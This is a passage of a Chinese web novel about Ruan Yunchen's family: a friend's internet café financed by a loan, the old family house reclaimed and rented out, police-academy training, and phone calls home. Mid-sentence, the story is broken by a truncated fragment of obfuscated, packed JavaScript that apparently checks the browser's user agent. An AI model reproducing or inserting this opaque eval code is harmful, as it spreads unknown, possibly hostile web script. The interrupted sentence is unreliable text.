“钱呢?”她开口问道,语气轻飘飘的,却像一把细针直戳人心,“从哪儿来的?” 胖子一愣,神色间多了几分不自在。他挠了挠头,支吾着:“积蓄……还能贷点。” 一句“贷点”让整个客厅瞬间安静下来。 阮秋的脸色立刻沉了几分,他紧张地扫了一眼阮云琛,又不安地看向胖子,像是被什么压得有些喘不过气来。 阮云琛的眉头微微皱了起来,面色凝重得像是结了冰。 她停顿了一下,才问:“上哪儿贷?” 胖子显然被这气氛搞得有点莫名其妙。 他咽了口唾沫,赶紧摆手解释:“银行啊!还能去哪儿?合法的,正规手续。” 这句话像是戳破了某种紧绷的气泡,阮秋明显松了口气,后背靠回沙发上,却还偷偷观察着阮云琛的表情。 阮云琛终于点了点头,眉头舒展了一些,但语气还是淡淡的:“到时候记得把合同看清楚,别稀里糊涂被人坑了。” “知道了知道了!”胖子像是卸下了什么重担,连连点头,嘴里还塞着最后一块馒头含糊不清地补充,“你胖哥可是精明着呢!还能吃亏?” 阮云琛没接话,阮秋倒是先把身子探了出来,阻隔了胖子的视线:“行行行,你精明,全淮龙就你最精明。” 电视上正好播到了午间新闻,女主播用一贯沉稳的语调播报着最新消息: “本台刚刚收到警方通报,近一段时间以来,城北地区聚集性斗殴案件数量有所上升,其中部分案件疑似涉及多个外省非法团伙。警方表示,目前已对相关区域加大巡逻力度,提醒市民注意出行安全。如有任何线索,请及时拨打报警电话。” 画面切换到一段模糊的监控录像,一群身影在巷口聚集,动作急促而混乱,背景里依稀传来打斗的嘈杂声。 淼淼皱了皱眉,懒洋洋地伸手去拿遥控器:“不就个新闻么,天天放这个,不腻啊。” 她正要按下换台键,阮云琛抬手把遥控器从她手里拿了过去,声音平静而不容抗拒:“进屋看书去。” 淼淼不太情愿,撇了撇嘴:“姐,我刚看了两章,休息会儿不行吗?” “我看你就是找借口。”阮云琛把遥控器随手放到茶几上,没给她继续争辩的机会,目光淡淡扫过,“赶紧进去。” 淼淼小声嘟囔了一句“真麻烦”,却没敢顶撞。 她站起来,磨蹭着往房间走,临进门前还不忘回头偷偷瞄了一眼阮云琛的脸色。可能是前阵子刚惹阮云琛生气,她这段时间狗腿得很,阮云琛的话一向是绝对听从的。 画面这会儿又回到了演播室,主播继续播报着后续消息: “此外,本市警方再次呼吁,严禁参与任何形式的高利贷交易,避免卷入不必要的法律纠纷。近期已有多起与高利贷相关的暴力事件被立案调查,目前仍在进一步侦办中。” 插播的新闻一完,立刻就切进了广告,电视声音骤然明亮起来,播报着本地超市促销的各种特价水果。 胖子捏着水杯,嘴里还嚼着一块馒头,含糊不清地说道:“你不知道啊,成哥这人可厉害了,城北那片儿熟得不能再熟了。我上哪儿找地儿都得带上他,不然还真不一定搞得定。” 胖子咕嘟咕嘟喝了两口水,显然被问得有些得意,眉毛一挑:“人家成哥就是有面子!你都不知道,那地方谁见了他不喊一声‘庆哥’?就连那些流氓混子都得给他让路!” 这句话落下后,沙发上阮秋的动作顿了一瞬,手里的果皮刀偏了一下,划在了桌子上。他迅速抬眼看了胖子,又飞快地扫了一眼阮云琛。 阮云琛脸上没有什么特别的表情,只是伸手把桌子上那块被划掉的橙子皮捡起来,随意地放进了垃圾桶。 他说着,神色得意了起来,“这次网吧开业的事,多亏了成哥帮忙,跑工商、选址、对接那些零零碎碎的事,全是他一手包办的。他手下那些人听话得很,要不是成哥,我还真不知道要折腾到什么时候。” 阮云琛一愣:“他手下还有人?” 胖子一拍大腿:“那当然了,城北那片儿人可多了,什么都得靠人脉——诶,怎么突然问这个?” 他话音一顿,似乎觉得阮云琛的问题有些奇怪,嚼馒头的速度都慢了下来。 “随口问问。”阮云琛垂下眼睑,似乎对这个话题失去了兴趣,“开店是件大事,仔细点总没错。” “就是嘛!成哥跟我说了,那边虽然偶尔会乱点,但上网的人多,稳赚不赔!”胖子一边说,一边起身朝厨房走去,“哎,我给你们带了点牛肉,快帮我拿碗装一下!” 胖子的声音渐渐消失在厨房里,客厅里的空气却安静了下来。 阮云琛坐在沙发上,目光落在茶几上的橙子皮上,没有挪开。 她的手缓缓握紧了茶杯,指节微微泛白,却没有发出任何声响。 阮秋看了她一眼,眉头轻轻皱了起来。他放下手里的刀,低声问道:“姐,你认识这个成哥?” 阮云琛的目光从橙子皮上移开,又盯着茶水想了会儿,却也没想出什么名堂来。 “不认识。”她说。 可心中却不知怎得,又开始隐隐不安了起来。 虽说如此,胖子的网吧倒是置办得还算顺利。 他那店门是个二手铺子,不太需要怎么装修,银行贷款也批得很快,电脑和其他一些设备很快就进到了货。 胖子每天都在城北忙里忙外,南面住宅区这边倒是不常见到他了。 “他不在的时候,竟然还觉得耳朵清净得有点不适应。”阮秋说。 阮云琛瞥了他一眼,没说话,只是轻轻合上了手里的文件。 ——那是他们以前住着的地方的房产证。 之前阮启明把房子抵押给了宋祈,虽然宋祈一直没收走,但那产权切切实实不是在阮启明或是阮云琛的名下的。 那份抵押协议做得滴水不漏,尽管房子后来因宋祈的倒台被列为涉案财产,阮云琛也没有资格申诉产权归还。 房子闲置多年,灰尘堆积,像一座被遗忘的孤岛,既无法带来任何收入,也无法完全摆脱。 但好在最近有了转机。 廖致远帮她整理了相关的产权文书,申请将房子从案件中剥离出来,交还给她。手续办得还算顺利——廖致远的名字在这其中显然起了不小的作用。 几天前,她从警局领回了那一纸新的房产证,简单的红色封面里,却装着过去十几年重压下的一点喘息机会。 只是,阮云琛捏着那纸房产证的指尖微微泛白时,却没显露出太多喜悦的情绪。她知道,这份来的太晚的归属,不过是从一堆废墟里捡回了一个还能凑合用的瓦片,无法改变太多的现实。 “我打算把之前的家租出去。”阮云琛说。 阮秋一愣,搅打鸡蛋的动作停了下来。他不知自己现在应该是喜悦,还应该是感到松了口气——又或者两者皆有。 “文件弄好了?” “嗯。”阮云琛拿起了那一叠文件,想了想,还是拿去给阮秋看了一眼。 白纸黑字,盖着红色的印章,产权所有者那一列,清清楚楚地写着三个大字:“阮云琛”。 阮秋看着那纸房产证,脸上难得露出一个真心实意的笑。他垂下头继续搅拌鸡蛋,声音低低的:“挺好,真的挺好。” “你想再回去看最后一眼吗?” 阮秋手上的动作顿了顿,随即轻轻摇了摇头:“这个问题该问淼淼。” “嗯。”阮云琛把文件整理好,淡声说道,“我是打算等她回来问的。” 他们三个人中,淼淼是那个最念旧的。 旧家哪怕破败成什么样,那里对淼淼来说终究还是承载了一部分她模糊不清的童年记忆——至少比对阮云琛和阮秋的意义要多一点。 淼淼总觉得那里还存在着过去生活的痕迹,不止是他们三个的,还有她记忆里不存在的爸爸妈妈的。 如果要把房子租出去,最应该问的,其实是淼淼。 不过她当然不会反对。 上回那次离家出走,似乎是她最后一次犯傻。她那样做,就只是心中仍有一丝微小的不甘。 那道不甘像一捧打火机的火苗。 它安静地伏在心底,几乎不会被察觉,可如果有人煽风点火,那火苗便会猛地蹿起来,烧得她心里发烫,甚至一时间忘了所有的好。 但它终究只是打火机的火苗。 如果有人在旁边轻轻吹一道风——甚至不需要是一盆冷水,火苗就会熄灭,化作一缕轻烟,消散得无影无踪。 淼淼清楚自己不过是嘴硬而已,明明心底比谁都清楚阮云琛对她的好,为她付出的所有,也明白阮秋和廖致远对她的关心与疼爱。可有些话她说不出口,有些情绪她只能用叛逆来掩饰。 那火苗熄灭后,就再也不会燃起来。 淼淼的最后一次“犯傻”,或许已经过去了。她清楚那些情绪多么短暂而浅薄,也清楚自己倔强的代价。 “她出去了?”阮秋忽然问。 他一大早就去菜市场买菜了,回来的时候,就只有阮云琛在沙发上坐着翻看文件,直到这会儿他才发觉家里似乎格外安静,像少了个人似的——也确实少了个人。 阮云琛点了点头:“嗯,和同学去游戏厅了。” 淼淼说东边商业街新开了一家游戏厅,同学们约着一起去,出门前还特意问阮云琛要零花钱。 她神情带着小心翼翼的试探,语气放得很轻,像是害怕自己一开口就会碰上阮云琛冷脸。 阮云琛没说话,只是从口袋里掏出了二十块钱,直接递给了她。 淼淼一愣,眼睛一眨不眨地看着那张钱,像是阮云琛递给她的不是零花钱,而是什么不得了的东西。她伸手接过去的时候,动作也慢吞吞的,像是随时打算撤退。 但阮云琛没收回手。 淼淼喜出望外,对着那二十块翻来覆去地看,最后给了阮云琛一个极大的拥抱,拋下了一句和小时候一模一样的感慨;“姐姐就是我最大的超级英雄!” 随后跟个小兔子似的抓着书包跑了出去。 “这个时候倒是舍得说‘超级英雄’了。” 阮秋的语气非常阴阳怪气,挨阮云琛凉凉地看了一眼后,抿着嘴又开始尽职尽责地做午饭。 可隔了会儿,他又憋不住问道:“所以你就直接给了她二十块?” 阮云琛愣了愣,抬头看了过去:“太少了吗?” “太多了。”阮秋抬起头,表情有点无奈。 他把蛋液倒进油热的锅里,只听“滋啦”一声,蛋香味立刻蹿了上来:“游戏机才要几块钱?有些的只要几毛。她同学从家里都拿不到十块,你竟然还给二十。” 阮云琛一时语塞,眼神飘了一下:“我只是怕她被同学瞧不起。” 阮秋低笑了一声,声音压得很轻,听起来既像是在忍耐,又像是在嘲弄。他没接话,只是拿着筷子往碗边敲了敲,把搅好的蛋液倒进锅里。 “你对她真是没办法。”他半真半假地感慨了一句,语气里却没有多少责备。 阮云琛没有接茬,只是站在那里,神情隐约有些走神。 阮淼淼是父母给她的妹妹,而阮秋是她捡回来的弟弟。 一个上天选的,一个自己选的,他们两个就像她生命中的两个分支,虽然方向不同,但始终牵连着她的每一部分。 阮云琛低下头,目光落在桌上文件的红章上,心底忽然生出一种模糊的想法:这样也挺好。 “吃完饭,去你下学期的新学校看看吧。”阮云琛说。 阮秋抬起了头,盯着阮云琛看了好一会儿,才低声笑了笑:“好。” 阮云琛有时候会想,阮秋是不是天生有盯人的毛病。 小时候,他总喜欢仰着头盯着她看,那时候的目光清澈见底,带着一种天然的依赖和崇拜。 可后来他长高了,站在她面前的角度变了,目光也变得深沉了些,再这么低头一盯,总让人觉得有点怪。 不是恶意的那种怪,而是一种说不清道不明的压迫感。 像是站在大楼的阴影下,明知道对方不会倾倒,却忍不住想往后退一步。 阮云琛收回了目光,觉得自己可能是多想了。她将桌上的文件合上,语气平淡:“顺便陪我去收拾一下旧家。” 阮秋闻言,目光依然停留在她脸上,嘴角却微微扬起了一个弧度。他的声音低低的,像是带着一点若有若无的笑意:“好。” 阮云琛沉默了一瞬,忽然觉得,这种笑意才是真正让人琢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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廖致远没搭理,顺手就把筷子上夹的一只虾头给丢了去,嘴里还骂了句:“去你的吧。” 公安局门口的花坛成了他们固定的交接地点。花坛边的长椅上常年有些人坐着,晒太阳的、抽烟的,或者只是闲聊几句的。 空气中弥漫着混合的烟草味和青草味,微风吹来,让盛夏的热气都淡了一些。 那人一个闪身躲开了高速袭来的虾头,刚想抱怨,就见虾头精准地落到了他身后的垃圾桶里。 他愣了一下,捏着馒头鼓起了掌:“真行啊老廖!有两把刷子。” “快滚!少来这儿捣乱。”廖致远又夹起了一只虾。 “得得得,不打扰您难得的亲子时光喽。”那人笑了笑,摆摆手走了。 廖致远的脸还是一贯的冷硬,但眼角的皱纹似乎浅了些,神情也少见地透出一丝放松。 他随手夹了一口炒蛋,隔了会儿,才又开了口:“出国是个机会。淮龙师范虽然不是一流学校,但交换学校是利物浦大学,还算是不错的。” “我再想想。”阮秋说,“还有两年呢,到时候再决定也完全来得及。” 廖致远沉默了会儿,点了点头:“也是。” 淼淼又去了游戏厅。 她冠冕堂皇地说自己开学就初三了,要准备高考,就没那么多时间了,所以想趁着这个假期多玩玩。 阮秋不信,从淼淼一进家门就开始上下打量,从头看到脚,从门前看到厨房,一直到淼淼殷勤地帮阮云琛拿起了碗开始洗,他才冷不丁道:“你天天往外边跑,不会是看上哪个小子了吧?” 倒水声突然停了,阮云琛拎着烧水壶,虽然动作没变,但那水流已经停了,头还往淼淼那儿偏,一副明明想听但还要装作不在意的模样。 淼淼闻言一愣,旋即翻了个大大的白眼:“秋哥,你是不是太闲了?” “我就随便一问。”阮秋笑了笑,语气里带着一点揶揄,“难得这么勤快,不像你风格。” “我这是节约资源。”淼淼理直气壮地回嘴,“你们每天都吃得跟战士似的,我不洗碗,还能轮到你们?” 阮秋被她这理直气壮的逻辑逗乐了,摇了摇头:“那你今天去游戏厅看上的小子,长啥样啊?” “今天都是女生,同班的,你见过。”淼淼回头冲他眯了眯眼睛,没中计。 她说着一拍脑袋,露出一副恍然大悟的表情:“哎呀,对了,秋哥,你也这么大了,该不会还没喜欢过什么人吧?” 她这话说得轻飘飘的,却像是一颗石子,落在了平静的水面上,激起一圈涟漪。 阮秋正在低头喝刚热好的牛奶——阮云琛给他倒得有点满,他动作微微一顿,杯边泛起一圈细微的涟漪。那几滴奶液沿着杯壁滑下,缓缓聚成一条细线,落在他的手背上,温热感顺着皮肤蔓延开来。 他的目光落在那条白色的痕迹上,一时间连呼吸都轻了下来。 牛奶从滑落到消失,不过是一瞬间的事,但在他眼里却像是被拉得极长——一种几乎无法明言的情绪悄然漫过心头,像一场突如其来的潮水,涌上来,又迅速退去,只留下一片湿冷的余痕。 “别瞎问。” 阮云琛的声音从旁边传过来,语气平淡得像是天边掠过的风,却让淼淼立刻缩了缩脖子,嘴里嘟囔着:“姐,你就不好奇吗?” 阮云琛没接话,只是抬眼瞥了她一眼,那眼神懒得多余解释,像是在说“洗你的碗,少管闲事”。 淼淼却不依不饶:“我还以为秋哥这么大了,肯定身边姑娘能排长队呢。说说呗,说不定我还能帮你参谋参谋?” 这回,阮秋倒是笑了,他放下杯子,抽了张纸巾擦了擦手,目光快速地往厨房扫了一圈。 “你笑什么啊?”淼淼皱起了眉。 “你觉得有意思吗?”阮秋又把牛奶端了起来,靠在沙发背上,瞧向淼淼的目光带着一丝挑衅,“一会儿喜欢谁,一会儿喜欢什么。人能不能有点定性?” 淼淼翻了个白眼,摆摆手:“哎呀,跟你开玩笑呢。呸,扫兴!” 她撅着嘴把碗放上沥水架,擦干净了手,往自己房间里去。路过阮秋时,嘴里还不忘嘟囔着:“这么没意思,怪不得没人喜欢你。” 淼淼的背影消失在房间门口后,客厅里短暂地安静了几秒。 阮云琛的动作稍稍顿了一下,回头扫了眼沙发上的阮秋。 刚迈入十八岁的少年身板笔挺得像个成年人——倒是也确实是个成年人的没错。他盯着手里那杯满得过分的牛奶,跟能给里面盯出个拉花似的,一眨不眨。 阮云琛擦干了手,踱步过去坐了下,拿起茶几上的一摞报纸翻了翻。 报纸上没什么重要内容,当地新闻的版面上除了菜场打折就是混混闹事,再不济就是港口多了几艘货船的线路,没什么其他新鲜的。 屋子里一时间安静得很,只有墙上钟表发出的滴答声和报纸被翻动的轻响。 阮云琛垂着眼,报纸翻到一半,冷不丁地又开了口:“真的没有?” 92. 牛奶 阮秋的动作顿了顿,目光落在她脸上,像是想从她平静的神情里看出点什么。他没回答,手指在杯壁上轻轻摩挲了两下,才淡淡地反问:“你觉得呢?” 阮云琛抬起头,与他对视了一秒,又迅速移开目光。 她的眉头轻轻皱了一下,像是在琢磨着怎么措辞,半晌,才低声道:“你要是不喜欢女生……也不是不行。” 她说得很慢,字里行间都带着一股挣扎味儿,似乎在努力地组织语言,试图别伤害到任何人。 这话一出口,空气凝固了一瞬。 阮秋怔住了,隔了许久,他忽地笑了,但那笑容又很快收敛了起来,转而是咬牙切齿地开了口,语调里透着点哭笑不得:“姐,你怎么会觉得我喜欢男的?” 阮云琛没有接话,只是沉默了一会儿,伸手拿过他手里的杯子,低头喝了两口。 阮秋的目光从她握住杯子的手一路移到她的脸上,目光专注得有些刺人。 阮云琛一时间不知道该怎么接话。 她沉默地把杯子里的牛奶一口接一口地给喝了完,牛奶的温热顺着杯壁传递到指尖,在这炎热的夏天里,莫名让人觉得有点汗流浃背。 阮秋看着她,忽然轻声开口:“姐,你把我牛奶喝完了。” 阮云琛的动作僵了一瞬,低头瞥了一眼空空的杯底,像是这才意识到自己做了什么。她放下杯子,表情没什么变化,却似乎有点不自在:“我再给你热一杯去。” 阮秋又盯着她看了会儿,才移开了目光,自顾自地笑了笑:“不用了。你明天就要去学校了吧?还是先去收拾行李吧。” 阮云琛的动作顿了一下,似乎想说点什么,但最终只是“哦”了一声,把杯子放回桌上,转身往自己的房间走去。脚步很轻,没发出一点声响。 她离开后,客厅里只剩下微弱的灯光和夜风拂动纱帘的声音。 阮秋靠在沙发上,伸手摸了摸刚才她喝过的杯子,杯壁上还残留着一点温热。他的手停了一下,最终把杯子推到一旁,靠回沙发里。 他的目光落在门缝处,静静停留了很久。那双眼睛清澈而安静,像是藏着很多话,却没有一个字能说出口。 窗外的风轻轻掀起纱帘,光影在墙上摇曳着,模糊而柔软。他仰起头,闭了闭眼,嘴角的线条带着一点浅浅的弯曲,但没有人知道这弧度背后藏着什么。 隔天一早,天还没亮,阮云琛就走了。 凌晨的票比其他时间段的便宜了十来块钱,但可惜时间太早,淼淼起不来床,所以只有阮秋一个人给她送去了客运站。 本来阮云琛并没有非得让谁来送,但阮秋说反正自己待会儿也得去老房子给租客钥匙,坚持要顺路来客运站送她一程。 老房子的新租客是个来淮龙做港口生意的男人,生意不大,刚刚起步,所以一见这房子离海不远租金又便宜,就马上定下了。 不过那生意人没什么现钱,大部分资金都被困在银行兜转,所以阮云琛干脆顺水推舟,让他把租金交到廖致远的户头。 廖致远本不同意,但被阮云琛一句话给推了回去:“我不知道怎么交税,警校地方偏,存取款也不方便,您比较懂点。” 廖致远没办法,见怎么都劝不过,只能应下。 客运站的灯光亮得刺眼,清晨的风带着点湿气,打在人脸上让人忍不住缩一缩肩膀。 阮云琛站在车旁,阮秋一直直勾勾地盯着她,不说话也不吭声,那眼神,仿佛她现在要去的不是八小时车程的地方,而是长征三万里似的。 “又不是不回来了。”阮云琛说。 阮秋含混不清地“嗯”了一声,随后才笑了笑:“怕你不在的时候我太想你,所以要多看两眼。” 这话其实并不新鲜。小时候,每次她要去打工,阮秋都会仰着脸,眨着一双清澈的大眼睛,用一模一样的语气说:“姐,我会想你,你早点回来。” 但现在又似乎有点不一样。 阮云琛讲不清楚哪里不同。 说到底,这句“太想你”听着还是那么直白,表面上也没什么问题,但就是让人觉得怪怪的。像是被风吹过皮肤的触感,细小,却带着一点说不出的刺挠。 她皱了皱眉,试图把这奇怪的感觉甩到脑后。 人群已经开始排队,阮云琛背起包,刚要说话,阮秋忽然张开手,带着点理所当然的语气:“抱一下。” 阮云琛愣了一瞬。 她下意识地看了他一眼,阮秋的表情很自然,甚至可以说是坦荡。 “不是一直都抱的吗?”阮秋看起来有点委屈,补了一句,“之前姐姐不是一直都会在离开前给我个拥抱吗?” 阮云琛顿了一下,忽然觉得自己是不是想多了。 他确实没什么变化,小时候是这样,现在也一样。阮云琛的神情松了些:“行吧。” 她走过去,抬手揽住阮秋的肩,轻轻地抱了下。 阮秋的个头比她记忆里又高了一些,她的手臂绕过他的肩时有些吃力,不得不微微踮起脚尖。 这样拥抱的姿势显得有点别扭,她犹豫了一下,手臂下移了一点,从他侧腰环了过去,姿势虽然不太习惯,但总算顺利完成了这个拥抱。 可她刚要撒手时,阮秋却稍稍低了头,双手圈住她的背,用力收了紧。 他的动作不算过分,但却带着一种过于笃定的亲昵感,像是试探,又像是压根没有想别的什么。 阮云琛稍稍偏了一下头,感觉到阮秋的下巴擦过她的头发,动作极轻,却足够让人注意到。 这种微妙的距离让她一时有些不自在,但下一秒,她便把这感觉抛开了。 ——怪怪的,但是好像也没怎么变。 她心想。 还是小时候那个总爱黏着她的弟弟。 阮云琛轻轻拍了拍阮秋的背,淡淡地说:“行了,快回去吧,大巴要发车了。” 阮秋迟疑了一秒才松开手,目光落在她的脸上,像是想再说点什么,但最终只是笑了笑:“姐,路上小心。” 开学的时候,阮云琛其实有点忐忑。 她以为自己刚进校门,迎接的不是新课表,而是退学函——就算是退学函真的来了,也只能是因为程一冉做了正确的选择。 程一冉的存在,像是个随时可能引爆的雷,藏得不深不浅,时不时冒出点隐约的气息。 可是整个暑假,学校那边却静得出奇,甚至不像是和她有任何牵扯。退学函没来,警告信也没有,等开学的第一天,校门口迎着她的,只有一场稀松平常的点名。 程一冉悄无声息地毕业了。 就像她来得无声,走得也无息一样——没有仪式感,也没有遗留的痕迹,好像只是从人群里穿过的一阵风,吹散了点尘土,就再也没了踪迹。 阮云琛看着新学期的课表,盯着密密麻麻的课程代码,忽然觉得自己之前那些不必要的焦虑和揣测有些可笑。 大三的生活确实比前两年忙碌许多。 学期刚开学没多久,课程表上便多了好几项选修课,时间一块压着一块,甚至让人分不清到底哪个更重要。 除了每天从清晨到黄昏的理论课,还有各种模拟训练的预约通知,夹杂在厚厚的试卷和学习资料之间,像是从缝隙里挤出来的喘息机会,却也暗藏着更大的压力。 阮云琛适应得很好。 她不是天赋极高的那种人,但胜在耐得住性子,一步一步稳扎稳打,从来不急于求成。 她的笔记总是记得比谁都仔细,课后辅导的讨论课也一堂不落,每一次模拟任务完成后,她总能很快总结出自己的得失。 宿舍的同学笑称她是“铁打的阮姐”,能扛住三十度的艳阳天、五公里负重跑和夜晚的体能训练后,依旧能在台灯下翻着厚厚的刑法教材。 而她则笑着反问:“不这样还能怎么办?你们不也都这么过来了?” 她从来不觉得辛苦,或者说,辛苦对她而言并不是一个需要讨论的问题。 生活对她来说一直是这样,繁忙却又有迹可循,复杂却又在掌控之中。这种节奏让人觉得安全,尽管其中也有不小的风险——比如即将到来的模拟训练。 模拟训练是大三的一个重要环节。 这并不只是课堂上简单的演练,而是接近实战的校外任务。 学生们会以小组为单位,分配到不同的社区或公司,执行由校方和实习单位共同设计的任务,以此培养他们的实践能力。换句话说,这是一场不容小觑的“实战考试”。 阮云琛并不害怕,她已经习惯了面对未知。 她甚至隐约有些期待——或许这种近乎真实的挑战,能让她的思维变得更加敏锐,也能让她的能力更上一层楼。 阮云琛偶尔也会给家里打个电话。 虽然有小灵通,但毕竟话费也是要钱的,阮云琛还是会选择写信或者排队等学校开放公用电话的使用时间。 电话接通时,背景里总是有些杂音,淼淼的声音最先传过来,清亮又带着些许嘈杂:“姐,我跟你说啊,班主任今天又夸我作文写得好!还让我上台念了!” 她的语速飞快,显然是对自己的成就满心得意,但很快就被远处一声喊叫打断:“淼淼!别用我的杯子喝奶茶!” 淮龙师范毕竟就在市内,阮秋不想多花一份住宿费,所以每天都是从家里来回——当然,阮云琛知道他只是不放心淼淼一个人呆在家里。 但阮秋怎么说也十八了,他做了什么决定,应该也是有自己的考量。 “你那么小气干嘛!”淼淼回了一句,又压低声音对电话那头的人抱怨:“姐,你说他是不是欺负我?” 阮云琛的嘴角忍不住上扬,语调却一如既往的平静:“你马上要上高中了,别整天跟他斗嘴,功课怎么样?” “好着呢!老师说期中考我至少能进前十。”淼淼的声音里有点心虚,但很快被她自己掩盖过去,“真的!你不信问秋哥啊!” 电话那头传来一阵椅子拖动的声音,随即是阮秋带着笑意的声音:“她这次真没吹牛,作文确实写得不错。” 阮云琛“嗯”了一声,语气微微放松:“那就好,你最近怎么样?” 阮秋笑了笑:“还能怎么样,军训完才刚开始适应,学业倒是还行。就是……” “就是什么?”她问。 “淼淼的零花钱还是给得太多了。”他带着点调侃,“她现在可是整个班里最壕的。上次我路过游戏厅,还看到一堆人围着她让她投币呢。” 电话另一头传来淼淼的抗议:“秋哥你不要乱说话!” 阮云琛无奈地揉了揉眉心:“你俩都别瞎闹。廖叔在家吗?” “在呢。”淼淼的声音稍微低了些,“他刚下班,坐在阳台上抽烟呢。” “又抽烟?”阮云琛眉头一皱,想再说点什么,却又觉得好像说多了也没什么用。 “他说压力大。”阮秋插了一句,顿了顿,语气里多了一分无奈,“姐,你不用太担心。他有分寸的。” 电话那头传来一阵轻微的风声,像是阳台窗帘被吹起的声音。阮云琛握着电话,沉默了片刻,低声说:“你看着点。” “你忙你的吧,我们都挺好的。”阮秋顿了顿,语气里带着点淡淡的笑意,忽然压低了声音,像是怕被谁听见似的,轻轻地说了一句,“姐,我想你了。” 阮云琛怔了一下,手指无意识地收紧,指腹轻轻摩挲着电话边缘。半晌,她才开了口:“少贫嘴,好好看着淼淼,别让她整天往游戏厅跑。” “知道了。”阮秋笑了一声,像是在电话另一头点了点头,“你别太累。” 电话挂断后,通话室重新归于安静。等着打电话的长队排在外面,阮云琛刚一开门,后面的人就迫不及待地冲了进去。 窗外的天色已经渐渐暗下来,阮云琛看着电子钟屏幕上自动跳转的时间,忽然觉得,这种忙碌又牵挂的日子,似乎还可以再继续久一点。 但生活向来不会让人如愿。 模拟训练还未正式开始,就有几起突发事件从实习单位传来。原本应该只是走流程的模拟,却因为意外的变数而笼罩上了一层阴影。 废弃工厂在田家庄的西郊,周围是大片未开发的荒地,工厂的铁架棚锈迹斑斑,墙皮脱落得像老旧的年画,显得破败而无生气。 阮云琛站在入口处,指挥着小组成员进入预定位置。 任务很简单:模拟一场紧急搜查,目标是排查厂区内可能隐藏的可疑人员和物资。 这是学校设计的训练项目,考察的是学员们的临场应变能力和团队协作。 只是这次任务并没有想象中顺利。 阮云琛带着小组深入厂区排查,在仓库清点目标物资时,一块生锈的铁板意外从铁架上滑落。 危险来的瞬间太快,队员站在铁板正下方,全然没有察觉。阮云琛眼疾手快地推开了身旁的队员,腰侧却擦过了铁板的边缘。尖锐的铁片划破制服,带出一阵刺痛。她咬紧牙关,没有发出声音。 耳机里传来指导员的呼叫,阮云琛接通了讯号,让声音冷静下来:“铁板掉落,腰侧轻伤,伤口不大,任务可以继续。” 她蹲下.身,从急救包里拿出止血贴,熟练地贴在腰侧。纱布沾上伤口时,痛意像电流一样窜上背脊,但她只是抬起头,冷静地朝队员摆了摆手:“别愣着,继续排查。” 任务结束后,指导员点名表扬了阮云琛的表现,称她的指挥“高效而果断”。 队员们围成小圈子讨论任务时,她一个人站在一旁,背对着人群,低头整理记录表。手指触碰到腰侧的纱布时,痛意让她轻轻吸了一口气。 制服下的纱布早已被血渍浸透,暗红色晕开了一片,边缘还带着些许模糊的污迹,显得触目惊心。 阮云琛推开医务室的门,随手将门轻轻掩上,坐到治疗床边。 值班的老师是一位年纪稍长的女性,眉眼间透着一种温和却不容置疑的笃定。她戴着一副细框眼镜,动作有条不紊,转身时拿起棉签和碘伏,语气平淡:“伤哪儿了?” “腰侧。”阮云琛简短地答了一句,抬手将制服撩到腰际,露出受伤的皮肤。 老师的目光落在她的侧腰上,手中棉签稍微停顿了一下。伤口被铁片刮出了一道细长的口子,周围的皮肤已经泛红肿胀,隐约还能看出些陈旧的淤青和淡淡的疤痕。< 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阮云琛点了点头,声音不高:“知道了。” 她拿起文件准备离开,经过老师身边时,听见一声低低的叹息。那声音很轻,几乎是无意间从唇边溜出来的,但依然落进了她的耳朵里。 阮云琛脚步微顿,随即走出了医务室。门轻轻合上的一刻,室内重新恢复了平静。 那些伤,倒也不是什么难以启齿的事情。 阮启明的巴掌,他摔碎的酒瓶,烟头和打火机,还有后来跟着宋祈跑生意时落下的刀伤、棍伤。她的身上,几乎没有一块完好的地方。 好在果露在外的皮肤并没有什么特别显眼的伤疤,体检的时候也只引来校医一瞬间的皱眉——不过是一瞬而已。 阮云琛记得很清楚,那医生看了她的档案后只是摇了摇头,像是明白了什么,却又什么也没问。 毕竟,有档案里那一条“家暴受害人”的记录兜底。 阮启明酗酒成性,早就被录入系统,虽没确凿证据,但小时候的她报过几次警,那些零星的文字记录像是草草填满了一页不完整的故事。 后来福利院也被查过一回。 因为“管理不善”的举报,几队人马翻遍了院长办公室,从那些看起来义正言辞的公文堆里抽出几张收受捐款的收条。 小黑屋、体罚、克扣伙食的事情虽然没有找到直接证据,但院长还是被调走了,换了个新人过来。 阮云琛从来没觉得这些改变对自己有什么意义——她早就不在那里了。 那场风波的唯一意义,或许就是让她身上那些“来历不明”的疤痕有了一个“合情合理”的解释。 她可以毫无顾忌地将那些过往推给阮启明,推给福利院,那些遮掩得住的、遮掩不住的,都从此有了一个安全的出口。 至于那些暗处里与和安堂有关的伤痕,她更是不打算多提。 没人会追问,也没人会知道。 想到这里,阮云琛自嘲地笑了笑。 若不是这些伤没有落在更显眼的位置,她说不定早就卡在某个体检表上,连这条走到现在的路也不会有。 还真得感谢一下阮启明的“体贴”,手劲和刀劲都选得那么精确——打得她痛不欲生,却没有毁掉未来的可能。 小说电视剧里总说“伤疤是男人的象征”,阮云琛有时候瞧见了也会觉得可乐。 倒不是想要讽刺什么,就只是因为自己脑子里莫名蹦出来了句“也是女人的象征”而感到单纯的好笑。 淼淼总是会莫名其妙地扭头看她,但很快又会因为电视里下一个紧张刺激的情节而被吸引走了目光。 阮秋说:“什么男人的象征,应该是女人中的女人。” 阮云琛忍不住用了和淼淼一样莫名其妙的眼神看向了阮秋。 “姐,你在听我讲话没有?” 电话那头的阮秋半天没得到回应,声音里填满了委屈。阮云琛一愣,赶忙回过了神:“你说什么?” “你果然又没在听。”阮秋嘟囔道。 但他也知道阮云琛可以打电话的时间很短,所以没太沉浸在这没必要的矫情里,就只是又把刚才说过的话重复了遍:“我说,胖子最近可忙坏了,听说是店里出了点问题。” “你叫什么胖子,他比你大不少,你得叫胖哥。”阮云琛多了句嘴。 可......店里出问题? 阮秋平时也不怎么提到胖子——或者说,他压根不稀得浪费打电话的时间去聊家里以外的事情,尤其是胖子。 这家伙总把谢胖子当做假想敌,也不知道每天在那里敌个什么。 但是想来这个年纪的男孩子总会脾气爆点,怼天怼地怼世界,阮秋就只是小小地阴阳怪气一下,似乎也没什么需要特别在意的。 阮云琛沉默了会儿,直到阮秋不情不愿地改了口,才问:“什么问题?” 